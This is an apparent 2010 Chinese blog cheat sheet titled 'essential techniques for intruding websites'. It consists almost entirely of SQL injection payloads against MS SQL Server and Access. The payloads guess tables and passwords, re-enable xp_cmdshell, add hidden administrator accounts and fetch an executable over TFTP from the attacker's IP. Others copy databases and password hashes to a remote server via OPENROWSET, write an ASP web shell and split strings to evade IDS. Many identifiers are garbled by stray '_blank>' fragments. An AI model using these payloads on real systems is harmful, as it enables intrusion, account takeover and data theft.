入侵网站必备技巧

2010-08-04  蒋小虎 

1.判断有无注入点
   ‘  ; and 1=1 and 1=2

2.
猜表:    常见的表:admin adminuser user pass password
..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---
判断是否存在admin这张表


3.
猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1

and 0<(select count(*) from admin)
and 1<(select count(*) from admin)

4.
猜解字段名称 len( ) 括号里面加上我们想到的字段名称
.
and 1=(select count(*) from admin where len(*) >0)--
and 1=(select count(*) from admin where len(
用户字段名称
name)>0)
and 1=(select count(*) from admin where len(_blank>
密码字段名称
password)>0)

5.
猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止

and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6)
错误

and 1=(select count(*) from admin where len(name)>5)
正确 长度是
6
and 1=(select count(*) from admin where len(name)=6)
正确


and 1=(select count(*) from admin where len(password)>11)
正确

and 1=(select count(*) from admin where len(password)>12)
错误 长度是
12
and 1=(select count(*) from admin where len(password)=12)
正确


6.
猜解字符

and 1=(select count(*) from admin where left(name,1)=a) ---
猜解用户帐号的第一位

and 1= (select count(*) from admin where left(name,2)=ab)---
猜解用户帐号的第二位

就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) --
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符
.

group by users.id having 1=1--
group by users.id, users.username, users.password, users.privs having 1= 1--
; insert into users values( 666, attacker, foobar, 0xffff )--

UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank> _NAME=logintable-
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id)-
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)-
UNION SELECT TOP 1 login_blank> _name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul--

_blank>服务器打的补丁=出错了打了SP4补丁

and 1=(select @@VERSION)--

_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。

and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--

判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA

and sa=(SELECT System_blank>_user)--
and user_blank>_name()=dbo--
and 0<>(select user_blank>_name()--

xp_blank>_cmdshell是否删除

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_blank>_cmdshell)--

xp_blank>_cmdshell
被删除,恢复,支持绝对路径的恢复

;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll--
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c: \inetpub\wwwroot\xplog70.dll--

反向PING自己实验

;use master;declare @s int;exec sp_blank>_oacreate "wscript.shell",@s out;exec sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--

加帐号

;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank> _OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang
$ 1866574 /add--

创建一个虚拟目录E盘:
;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c
\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e
\"--

访问属性:(配合写入一个webshell

declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c
\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

爆库 特殊_blank>技巧::%5c=\ 或者把/\ 修改%5提交

and 0< >(select top 1 paths from newtable)--

得到库名(从15都是系统的id6以上才可以判断)

and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的_blank>数据库名


and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U)
暴到一个表 假设为
admin
and 0 <>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin))
来得到其他的表。

and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str (id)))
暴到UID的数值假设为
18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569)
得到一个admin的一个字段,假设为
user_blank>_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,...))
来暴出其他的字段

and 0<(select user_blank>_id from BBS.dbo.admin where username>1)
可以得到用户名

依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段


and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<> (select top 1 name from bbs.dbo.sysobjects where xtype=U)
得到表名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id)))
判断id

and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794)
所有字段


?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union
access也好用
)

得到WEB路径

;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet \Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test OUTPUT insert into paths (path) values(@test)--
;use ku1;--
;create table cmd (str image);--
建立image类型的表
cmd

存在xp_blank>_cmdshell的测试过程:

;exec master..xp_blank>_cmdshell dir
;exec master.dbo.sp_blank>_addlogin jiaoniang
$;--
SQL帐号
;exec master.dbo.sp_blank>_password null,jiaoniang
$,1866574;--
;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang
$ sysadmin;--
;exec master.dbo.xp_blank>_cmdshell net user jiaoniang
$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang
$ /add;--
exec master..xp_blank> _servicecontrol start, schedule
启动_blank>服务
exec master..xp_blank>_servicecontrol start, server
; DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C
\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C
\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; exec master..xp_blank>_cmdshell tftp -i youip get file.exe--
利用TFTP上传文件

;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
;declare @a;set @a=db_blank>_name();backup database @a to disk=
你的IP你的共享目录
bak.dat
如果被限制则可以。

select * from openrowset (_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)

查询构造:

SELECT * FROM news WHERE id=... AND topic=... AND .....
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;--
;use master;--
:a or name like fff%;--
显示有一个叫ffff的用户哈。

and 1<>(select count (email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。

通过查看ffff的用户资料可得第一个用表叫
ad
然后根据表名ad得到这个表的ID 得到第二个表的名字


insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char (0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123, admin--, password, 0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //
access_blank>数据库


枚举出数据表名

;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
这是将第一个表名更新到aaa的字段处。

读出第一个表,第二个表可以这样读出来(在条件后加上 and name< >刚才得到的表名)。

;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
然后
id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,一个个的读出,直到没有为止。

读字段是这样:

;update aaa set aaa=(select top 1 col_blank>_name (object_blank>_id(
表名
),1));--
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名

;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(
表名
),2));--
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名


[
获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名
]
update
表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件
] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN
]

[
获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名
]
update
表名 set 字段= (select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件
]

绕过IDS的检测[使用变量
]
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\

1
开启远程_blank>数据库

基本语法

select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
参数
: (1) OLEDB Provider name
2
其中连接字符串参数可以是任何端口用来连接,比如

select * from OPENROWSET(SQLOLEDB, uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table
3.
复制目标主机的整个_blank>数据库 insert所有远程表到本地表。



基本语法:
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from table1) select * from table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_sysobjects)
select * from user_blank> _database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_syscolumns)
select * from user_blank> _database.dbo.syscolumns
复制_blank>数据库:

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2

复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下:

insert into OPENROWSET (SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins
得到hash之后,就可以进行暴力破解。


遍历目录的方法: 先创建一个临时表:
temp
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_blank>_availablemedia;--
获得当前所有驱动器

;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;--
获得子目录列表

;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;--
获得所有子目录的目录树结构,并寸入temp表中

;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp;--
查看某个文件的内容

;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;--
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;--
;insert into temp(id) exec master.dbo.xp_blank> _cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;--
xp_blank>_dirtree适用权限PUBLIC

写入表:

语句1
and 1= (SELECT IS_blank>_SRVROLEMEMBER(sysadmin));--
语句2
and 1=(SELECT IS_blank>_SRVROLEMEMBER (serveradmin));--
语句3
and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));--
语句4
and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--
语句5
and 1=(SELECT IS_blank>_SRVROLEMEMBER (securityadmin));--
语句6
and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));--
语句7
and 1= (SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));--
语句8
and 1=(SELECT IS_blank>_SRVROLEMEMBER (bulkadmin));--
语句9
and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));--

把路径写到表中去:

;create table dirs(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_blank>_dirtree c:\--
and 0<>(select top 1 paths from dirs)--
and 0<> (select top 1 paths from dirs where paths not in(@Inetpub))--
;create table dirs1(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_blank>_dirtree e:\web--
and 0<>(select top 1 paths from dirs1)--

_blank>数据库备份到网页目录:下载

;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:\web\down.bak;--

and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects)
参看相关表。

and 1=(select user_blank>_id from USER_blank>_LOGIN)
and 0=(select user from USER_blank>_LOGIN where user>1)

-=- wscript.shell example -=-
declare @o int
exec sp_blank>_oacreate wscript.shell, @o out
exec sp_blank>_oamethod @o, run, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe--

declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_blank>_oacreate scripting.filesystemobject, @o out
exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_blank>_oamethod @f, readline, @line out
end

declare @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scripting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>

declare @o int, @ret int
exec sp_blank>_oacreate speech.voicetext, @o out
exec sp_blank> _oamethod @o, register, NULL, foo, bar
exec sp_blank>_oasetproperty @o, speed, 150
exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
waitfor delay 00:00:05

; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05--

xp_blank>_dirtree
适用权限
PUBLIC
exec master.dbo.xp_blank>_dirtree c:\
返回的信息有两个字段 subdirectorydepthSubdirectory字段是字符型,depth字段是整形字段。

create table dirs(paths varchar(100), id int)
建表,这里建的表是和上面xp_blank>_dirtree相关连,字段相等、类型相同。

insert dirs exec master.dbo.xp_blank>_dirtree c:\
只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果, 一步步达到我们想要的信息!  

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